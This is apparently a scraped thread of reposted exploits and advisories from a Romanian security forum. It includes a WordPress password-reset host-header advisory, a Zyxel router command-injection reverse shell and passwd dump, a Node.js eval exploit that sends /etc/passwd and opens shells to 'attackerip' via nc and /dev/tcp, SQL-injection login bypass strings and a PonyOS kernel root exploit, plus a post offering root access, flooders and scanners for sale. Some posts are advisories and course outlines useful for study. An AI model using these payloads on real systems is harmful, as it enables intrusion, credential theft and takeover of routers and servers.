modified HOST header, the SERVER_NAME will be set to the hostname of attacker's choice. As a result, Wordpress will pass the following headers and email body to the /usr/bin/sendmail wrapper: ------[ resulting e-mail ]----- Subject: [CompanyX WP] Password Reset Return-Path: <wordpress@attackers-mxserver.com> From: WordPress <wordpress@attackers-mxserver.com> Message-ID: <e6fd614c5dd8a1c604df2a732eb7b016@attackers-mxserver.com> X-Priority: 3 MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Someone requested that the password be reset for the following account: http://companyX-wp/wp/wordpress/ Username: admin If this was a mistake, just ignore this email and nothing will happen. To reset your password, visit the following address: <http://companyX-wp/wp/wordpress/wp-login.php?action=rp&key=AceiMFmkMR4fsmwxIZtZ&login=admin> ------------------------------- As we can see, fields Return-Path, From, and Message-ID, all have the attacker's domain set. The verification of the headers can be performed by replacing /usr/sbin/sendmail with a bash script of: #!/bin/bash cat > /tmp/outgoing-email VI. BUSINESS IMPACT ------------------------- Upon a successfull exploitation, attacker may be able to reset user's password and gain unauthorized access to their WordPress account. VII. SYSTEMS AFFECTED ------------------------- All WordPress versions up to the latest 4.7.4 VIII. SOLUTION ------------------------- No official solution available. As a temporary solution users can enable UseCanonicalName to enforce static SERVER_NAME value https://httpd.apache.org/docs/2.4/mod/core.html#usecanonicalname This issue was first reported to WordPress security team multiple times, with the first report sent in July 2016. As there has been no progress in this case , this advisory is finally released to the public without an official patch. IX. REFERENCES ------------------------- https://legalhackers.com https://ExploitBox.io Vendor site: https://wordpress.org http://httpd.apache.org/docs/2.4/mod/core.html#usecanonicalname http://php.net/manual/en/function.mail.php https://tools.ietf.org/html/rfc5321 X. CREDITS ------------------------- Discovered by Dawid Golunski dawid (at) legalhackers (dot) com https://legalhackers.com https://ExploitBox.io Thanks to BeyondSecurity for help with contacting the vendor. XI. REVISION HISTORY ------------------------- 03.05.2017 - Advisory released, rev. 1 XII. EXPLOITBOX - A PLAYGROUND FOR HACKERS ------------------------- ExploitBox.io is coming soon. Subscribe at https://ExploitBox.io to stay updated and be there for the launch. XIII. LEGAL NOTICES ------------------------- The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. I accept no responsibility for any damage caused by the use or misuse of this information.
  12. [Sursa: https://www.exploit-db.com/exploits/41782/?rss ] # Exploit Title: Zyxel, EMG2926 < V1.00(AAQT.4)b8 - OS Command Injection # Date: 2017-04-02 # Exploit Author: Fluffy Huffy (trevor Hough) # Vendor Homepage: www.zyxel.com # Version: EMG2926 - V1.00(AAQT.4)b8 # Tested on: linux # CVE : CVE-2017-6884 OS command injection vulnerability was discovered in a commonly used home router (zyxel - EMG2926 - V1.00(AAQT.4)b8). The vulnerability is located in the diagnostic tools specify the nslookup function. A malicious user may exploit numerous vectors to execute arbitrary commands on the router. Exploit (Reverse Shell) https://192.168.0.1/cgi-bin/luci/;stok=redacted/expert/maintenance/diagnostic/nslookup?nslookup_button=nslookup_button& ping_ip=google.ca%20%3B%20nc%20192.168.0.189%204040%20-e%20/p Exploit (Dump Password File) Request GET /cgi-bin/luci/;stok=<Clipped>/expert/maintenance/diagnostic/nslookup?nslookup_button=nslookup_button&ping_ip=google.ca%3b%20cat%20/etc/passwd&server_ip= HTTP/1.1 Host: 192.168.0.1 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.110 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Referer: http://192.168.0.1/cgi-bin/luci/;stok=<Clipped>/expert/maintenance/diagnostic/nslookup Accept-Language: en-US,en;q=0.8 Cookie: csd=9; sysauth=<Clipped> Connection: close Response (Clipped) <textarea cols="80" rows="15" readonly="true">root:x:0:0:root:/root:/bin/ash daemon:*:1:1:daemon:/var:/bin/false ftp:*:55:55:ftp:/home/ftp:/bin/false network:*:101:101:network:/var:/bin/false nobody:*:65534:65534:nobody:/var:/bin/false supervisor:$1$RM8l7snU$KW2C58L2Ijt0th1ThR70q0:0:0:supervisor:/:/bin/ash admin:$1$<Clipped>:0:0:admin:/:/bin/fail
  13. https://medium.com/@showthread/joomla-3-6-4-account-creation-elevated-privileges-write-up-and-exploit-965d8fb46fa2#.dkvmm22rn
  14. --[ Tools and Basic Reverse Engineering --[ Extended Reverse Engineering --[ Introduction to Memory Corruption --[ Shellcoding --[ Format Strings --[ DEP and ROP --[ Secure Systems and Game Console Exploitation --[ Address Space Layout Randomization --[ Heap Exploitation --[ Misc Concepts & Stack Canaries --[ C++ Concepts and Differences --[ Kernel Exploitation --[ Exploitation on 64bit, ARM, Windows --[ Automation & The Future of Exploitation http://security.cs.rpi.edu/courses/binexp-spring2015/
  15. In this Reverse Engineering and Exploit Development training course, expert author Philip Polstra will teach you about common software vulnerabilities and how to find them, as well as how the vulnerabilities differ between various operating systems. This course is designed for beginners who are looking to get started in security, penetration testing, and reverse engineering. You will start by learning about reversing compiled Windows applications, including using fuzzing, stack overflows, and heap overflows. From there, Philip will teach you how to reverse compiled OS X, Linux, and Android applications. This video tutorial also covers how to find other vulnerabilities, including website and database vulnerabilities. Finally, you will learn about simple exploits, web exploitation, and ARM exploitation. Once you have completed this computer based training course, you will be fully capable of finding vulnerabilities and developing exploits for them. Working files are included, allowing you to follow along with the author throughout the lessons. https://yadi.sk/d/e4JEUKNfg3oUv sursa: https://forum.reverse4you.org/showthread.php?t=1997
  16. NODEJS RCE AND A SIMPLE REVERSE SHELL While reading through the blog post on a RCE on demo.paypal.com by @artsploit, I started to wonder what would be the simplest nodejs app that I could use to demo a RCE. Looking at the hello world tutorials online, I came up with the following simple app that takes a user input via the URL as a GET parameter and passes it to eval, which is obviously a bad programming practice. Obviously, the functionality of this app is questionable, but in the real world Node applications will use eval to leverage JavaScript’s eval but with sandboxing amongst other things. var express = require('express'); var app = express(); app.get('/', function (req, res) { res.send('Hello eval(req.query.q)); console.log(req.query.q); }); app.listen(8080, function () { console.log('Example listening on port 8080!'); }); To access the app, navigate to http://hostip:8080/?q='Test'. The exploit can be triggered using the q parameter. Node provides the child_process module and the eval can be used to execute the exploit. A quick demo can consist of the following steps: 1. Run nc -lvp 80 on a server you control and whose port 80 is reachable from the server running the Node app. 2. Navigate to http://hostip:8080/?q=require('child_process').exec('cat+/etc/passwd+|+nc+attackerip+80') This will send the contents of /etc/passwd to the attacker’s nc instance. If the Node server has the traditional nc installed (instead of the openbsd alternative) you can even use -e /bin/bash to return a proper shell from the Node server. But as the case is with default installations the netcat that attacker’s love may not always be present on vulnerable machines. In such cases, the net module can be used to redirect the stdin, stdout and stderr streams to and from the attacker’s machine. The exploit code in such a case would be: var net = require("net"), sh = require("child_process").exec("/bin/bash"); var client = new net.Socket(); client.connect(80, "attackerip", function(){client.pipe(sh.stdin);sh.stdout.pipe(client); sh.stderr.pipe(client);}); To execute this, use the following steps: 1. Run nc -lvp 80 on a server you control and whose port 80 is reachable from the server running the Node app. Again, this would act as your shell listener/collector. 2. Navigate to http://hostip:8080/?q=var+net+=+require("net"),+sh+=+require("child_process").exec("/bin/bash");var+client+=+new+net.Socket();client.connect(80,+"attackerip",+function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);}); You can then use /bin/bash -i or python -c 'import pty; pty.spawn("/bin/bash")' to get a proper TTY shell (See more techniques here.). I created a docker image with Node and the app installed so that this is easier to test and play with. You can setup this PoC using the following steps: 1. Install docker on your host machine. This is the standard reference – https://docs.docker.com/engine/installation/ 2. Once docker is setup, run the following command: docker run -p 8080:8080 -d appsecco/node-simple-rce 3. Navigate to the Node app by going to: http://localhost:8080/?q=’Test’ Update: A simpler reverse shell is: require("child_process").exec('bash -c "bash -i >%26 /dev/tcp/192.168.56.2/80 0>%261"') According to https://github.com/bahamas10/node-exec: For backwards compatibility with child_process.exec, it is also possible to pass a string to exec. The string will automatically be converted to [‘/bin/sh’, ‘-c’, ‘{string}’], which will cause the string to be parsed on the shell. Since /bin/sh has some trouble dealing with multiple file descriptors, we can simply ask /bin/sh to spawn a new /bin/bash and use the new /bin/bash to execute our standard reverse shellcode. Whew! The code is available on Github if you want to test this locally. Feel free to make any changes to the code and redistribute! Happy Hacking! Articol preluat de pe site-ul Mi s-a parut foarte interesant acest write-up , si m-am gandit sa il postez si aici. Sper sa va inspire !
  17. Repo-ul e pe private for now.
  18. Product Avactis PHP Shopping Cart Version 4.7.9.Next.47900 Full Disclosure EXPLOIT DB
  19. Systems Affected Microsoft Windows with Apple QuickTime installed Overview According to Trend Micro, Apple will no longer be providing security updates for QuickTime for Windows, leaving this software vulnerable to exploitation. [1] (link is external) Description All software products have a lifecycle. Apple will no longer be providing security updates for QuickTime for Windows. [1] (link is external) The Zero Day Initiative has issued advisories for two vulnerabilities found in QuickTime for Windows. [2] (link is external) [3] (link is external) Impact Computer systems running unsupported software are exposed to elevated cybersecurity dangers, such as increased risks of malicious attacks or electronic data loss. Exploitation of QuickTime for Windows vulnerabilities could allow remote attackers to take control of affected systems. Solution Computers running QuickTime for Windows will continue to work after support ends. However, using unsupported software may increase the risks from viruses and other security threats. Potential negative consequences include loss of confidentiality, integrity, or availability of data, as well as damage to system resources or business assets. The only mitigation available is to uninstall QuickTime for Windows. Users can find instructions for uninstalling QuickTime for Windows on the Apple Uninstall QuickTime (link is external) page. [4] References [1] Trend Micro - Urgent Call to Action: Uninstall QuickTime for Windows Today (link is external) [2] Zero Day Initiative Advisory ZDI 16-241: (0Day) Apple QuickTime moov Atom Heap Corruption Remote Code Execution Vulnerabilit (link is external) [3] Zero Day Initiative Advisory ZDI 16-242: (0Day) Apple QuickTime Atom Processing Heap Corruption Remote Code Execution Vulner (link is external) [4] Apple - Uninstall QuickTime 7 for Windows (link is external) SOURCE: https://www.us-cert.gov/ncas/alerts/TA16-105A
  20. Hello RST : Exploit Development Course 2015 --> Free Preface Hi and welcome to this website! I know people don’t like to read prefaces, so I’ll make it short and right to the point. This is the preface to a course about Modern Windows Exploit Development. I chose Windows because I’m very familiar with it and also because it’s very popular. In particular, I chose Windows 7 SP1 64-bit. Enough with Windows XP: it’s time to move on! There are a few full-fledged courses about Exploit Development but they’re all very expensive. If you can’t afford such courses, you can scour the Internet for papers, articles and some videos. Unfortunately, the information is scattered all around the web and most resources are definitely not for beginners. If you always wanted to learn Exploit Development but either you couldn’t afford it or you had a hard time with it, you’ve come to the right place! This is an introductory course but please don’t expect it to be child’s play. Exploit Development is hard and no one can change this fact, no matter how good he/she is at explaining things. I’ll try very hard to be as clear as possible. If there’s something you don’t understand or if you think I made a mistake, you can leave a brief comment or create a thread in the forum for a longer discussion. I must admit that I’m not an expert. I did a lot of research to write this course and I also learned a lot by writing it. The fact that I’m an old-time reverse engineer helped a lot, though. In this course I won’t just present facts, but I’ll show you how to deduce them by yourself. I’ll try to motivate everything we do. I’ll never tell you to do something without giving you a technical reason for it. In the last part of the course we’ll attack Internet Explorer 10 and 11. My main objective is not just to show you how to attack Internet Explorer, but to show you how a complex attack is first researched and then carried out. Instead of presenting you with facts about Internet Explorer, we’re going to reverse engineer part of Internet Explorer and learn by ourselves how objects are laid out in memory and how we can exploit what we’ve learned. This thoroughness requires that you understand every single step of the process or you’ll get lost in the details. As you’ve probably realized by now, English is not my first language (I’m Italian). This means that reading this course has advantages (learning Exploit Development) and disadvantages (unlearning some of your English). Do you still want to read it? Choose wisely To benefit from this course you need to know and be comfortable with X86 assembly. This is not negotiable! I didn’t even try to include an assembly primer in this course because you can certainly learn it on your own. Internet is full of resources for learning assembly. Also, this course is very hands-on so you should follow along and replicate what I do. I suggest that you create at least two virtual machines with Windows 7 SP1 64-bit: one with Internet Explorer 10 and the other with Internet Explorer 11. I hope you enjoy the ride! Contents WinDbg Mona 2 Structure Exception Handling (SEH) Heap Windows Basics Shellcode Exploitme1 (ret eip overwrite) Exploitme2 (Stack cookies & SEH) Exploitme3 (DEP) Exploitme4 (ASLR) Exploitme5 (Heap Spraying & UAF) EMET 5.2 Internet Explorer 10 Reverse Engineering IE From one-byte-write to full process space read/write God Mode (1) God Mode (2) Use-After-Free bug Internet Explorer 11 Part 1 Part 2 Regards NO-MERCY PDF'S Soooooooon Source : http://expdev-kiuhnm.rhcloud.com/2015/05/11/contents/
  21. VAND ROOT FLOOD SCAN ARHIVE FLOOD SCAN BOTI PERLI PMA EXPLOIT SV CS SI ALTELECINE VREA LASATI REPLY aici la topic mai repede;)
  22. Scan: https://www.sendspace.com/file/cqn4y2
  23. Exploit Kits: Past, Present and Future March 16, 2015 View research paper: The Evolution of Exploit Kits Exploit kits are a fast-growing online threat that cybercriminals seem to have favored in the last few years to execute Web-based attacks to distribute malware. Exploit kits are old tools released by Russian programmers dating back to 2006. As seen in the diagram below, exploit kits have continuously grown in numbers from 2006 to 2013. The market seemingly changed and took a significant dip however in 2014. The rise of exploit kits in underground markets push exploit kit developers to improve the stealth and efficiency of their products and services. Currently, there are 70 different exploit kits found in the wild, taking advantage of more than a hundred vulnerabilities. What is an Exploit Kit? Exploit kits are programs or more often scripts that exploit vulnerabilities in programs or applications. The most prevalent exploits are browser exploits that enable the download of malicious files. Exploits introduce code to victims’ computers that then downloads and executes a malicious file. Several kits have since been developed and sold or rented out like commercial products in underground markets. The easiest hack toolkit made available in the crimeware market on record was seen sometime in 2006. A typical exploit kit usually provides a management console, several vulnerabilities targeted to different applications, and several add-on functions that make it easier for a cybercriminal to launch an attack. The Timeline Record of Exploit Kits The following research paper discusses the following: Exploit Kit Attack Scenario – there are four stages that illustrate how a typical attack scenario happens. Detailed below, the stages include contact, redirect, exploit, and finally, infect. Overview of 2014 Exploit Kit Activity – this section discusses the exploit kit trends traced back from 2006 to 2014, including its threat distribution. Exploit Kits are presently one of the most popular types of Web attack toolkits thriving in the cybercriminal underground market, and we predict that exploit kits will be more prevalent in 2015. Internet Explorer, Adobe Flash, and Adobe Reader are the most common software targeted by cybercriminals. Exploit kits pose serious security risks to all computer users ranging from private users to corporate networks. As such, it is critical to know and understand how exploit kits work, where they came from, what are the current trends, and how to defend against them. NO-MERCY Regards Source : Exploit Kits: Past, Present and Future - Security News - Trend Micro USA
  24. <><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><> | Exploit Title: Milw0rm Clone Script v1.0 (Auth Bypass) SQL Injection Vulnerability | | Date: 06.13.2015 | | Exploit Daddy: Walid Naceri | | Vendor Homepage: http://milw0rm.sourceforge.net/ | | Software Link: http://sourceforge.net/projects/milw0rm/files/milw0rm.rar/download | | Version: v1.0 | | Tested On: Kali Linux, Mac, Windows | |><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><| | Website exploiter: WwW.security-Dz.Com | | CALLINGout: 1337day/inj3ct0r Please admit that they got your server haha CIA | | Sorry: Sorry pancaker, you missed that one | <><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><> ### vuln codez admin/login.php ### <? $usr = htmlspecialchars(trim($_POST['usr'])); ---- what are you doing? $pwd = htmlspecialchars(trim($_POST['pwd'])); ---- are you sure that you are a programmer? if($usr && $pwd){ $login = mysql_query("SELECT * FROM `site_info` WHERE `adm_usr`='".$usr."' AND `adm_pwd`='".md5($pwd)."';"); $row = mysql_num_rows($login); ----Bla Bla Bla-------- ### manual ### Go to the login admin panel Exploit 1: USER: ADMIN' OR ''=' PASS: ADMIN' OR ''=' Exploit 2: USER: ADMIN' OR 1=1# PASS: Anything Bro ### How to fix, learn bro some php again ### $usr = htmlspecialchars(trim(mysql_real_escape_string($_POST['usr']))); $usr = htmlspecialchars(trim(mysql_real_escape_string($_POST['pwd']))); Source
  25. # Exploit Title: PonyOS <= 3.0 tty ioctl() local kernel exploit # Google Dork: [if applicable] # Date: 29th June 2015 # Exploit Author: HackerFantastic # Vendor Homepage: www.ponyos.org # Software Link: [download link if available] # Version: [app version] PonyOS <= 3.0 # Tested on: PonyOS 3.0 # CVE : N/A # Source: https://raw.githubusercontent.com/HackerFantastic/Public/master/exploits/applejack.c /* PonyOS <= 3.0 tty ioctl() root exploit ======================================== PonyOS 0.4.99-mlp had two kernel vulnerabilities disclosed in April 2013 that could be leveraged to read/write arbitrary kernel memory. This is due to tty winsize ioctl() allowing to read/write arbitrary memory. This exploit patches the setuid system call to remove a root uid check allowing any process to obtain root privileges. John Cartwright found these flaws and others here: https://www.exploit-db.com/exploits/24933/ Written for educational purposes only. Enjoy! -- prdelka */ #include <stdio.h> #include <stdlib.h> #include <sys/ioctl.h> int main(){ struct winsize ws; printf("[+] PonyOS <= 3.0 ioctl() local root exploit\n"); memcpy(&ws,"\x90\x90\x90\x90\x8b\x45\x08\x89",8); ioctl(0, TIOCSWINSZ, &ws); ioctl(0, TIOCGWINSZ, (void *)0x0010f101); printf("[-] patched sys_setuid()\n"); __asm("movl $0x18,%eax"); __asm("xorl %ebx,%ebx"); __asm("int $0x7F"); printf("[-] Got root?\n"); system("/bin/sh"); } Source @Byte-ul nu am timp sa fac demo si nici "resursele necesare" am sa inchid thread-ul pentru a evita offtopic-ul.
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